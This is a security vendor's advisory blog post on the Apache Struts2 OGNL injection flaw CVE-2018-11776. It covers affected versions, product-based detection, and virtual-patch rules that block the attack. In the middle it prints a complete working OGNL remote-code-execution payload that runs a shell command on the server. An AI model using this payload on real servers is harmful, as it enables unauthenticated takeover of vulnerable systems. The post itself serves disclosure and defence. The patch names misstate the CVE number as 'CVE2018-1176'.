Contrast and Struts2 CVE-2018-11776
On August 22, a new CVE and exploit appeared for the Struts2 web application framework: Struts2 CVE-2018-11776. Struts2 CVE-2018-11776 adds to the list of older Struts/Struts2 CVEs. Like the Struts2 vulnerability from less than a year ago, Contrast offers the ability to detect and prevent exploitation of this vulnerability and its risk category, OGNL injection. Contrast customers were able to prevent exploitation of this CVE with our existing OGNL injection protection even before it was announced on August 22. Contrast customers are also able to detect the presence of the vulnerable Struts2 components in their software so they can take appropriate actions.
The official Struts2 security documentation portends these vulnerabilities through its introductory sentence, "Apache Struts 2 doesn’t provide any security mechanism."
CVE Impact
This unauthenticated remote code execution vulnerability exploits OGNL, the Object Graph Notation Language typically used for view rendering within Struts2. The impact is high, allowing full attacker control to execute system commands or other code. The likelihood is lower, as this exploit requires a specific configuration that is likely not present in all Struts2 applications, and whose location will be different for each application. This exploit can be verified through the default Struts2 Showcase application, by using the Integrations->Struts1 menu. Developers can enter an OGNL expression into the name field, similar to what appears below.
How to detect this vulnerability with Contrast
Contrast can locate affected applications by using its built-in composition analysis, identifying where the affected libraries are used (Struts 2.3.0 to 2.3.34 or 2.5.0 to 2.5.16).
Additionally, Contrast Assess can monitor applications during the development and assessment phase to detect cases where user input is executed as part of the OGNL.
How to prevent exploitation of this vulnerability with Contrast
Users of Contrast Protect can take the following steps to defend against this CVE and other possible OGNL execution flaws:
- Open TeamServer
- In the top-right, navigate to Policy Management
What does this exploit look like?
The exploit involves specially crafted OGNL of the attacker’s choosing. For example, the following OGNL syntax can be entered into the Gangster name to list all processes:
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ps').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
The above payload simply executes ps on the server but could control other commands. By acting within the application, Contrast is able to recognize that this OGNL command comes from remote user input and block it while still allowing valid OGNL (that is not user-controlled) to execute.
Blocking OGNL injection all together
With this being a remotely exploitable command execution, one might wonder why OGNL is even evaluated from incoming Requests. Motivated security professionals can just detect all remote OGNL everywhere, regardless of how it is used.
In your agent configuration, add the following command line argument: -Dcontrast.defend.rep=true
Alternately, the following Virtual Patch instructions will block the attack:
- In the top-right, open Policy Management
- From the left, select Virtual Patches
- Add two optional Virtual Patches, limited to Java applications:
- Struts2 CVE2018-1176_param
Parameter .* matches ^\$\{
- Struts2 CVE2018-1176_url
URL matches .*\%\{.*\}.*
Want to join the Contrast Security research or engineering teams? We’re hiring.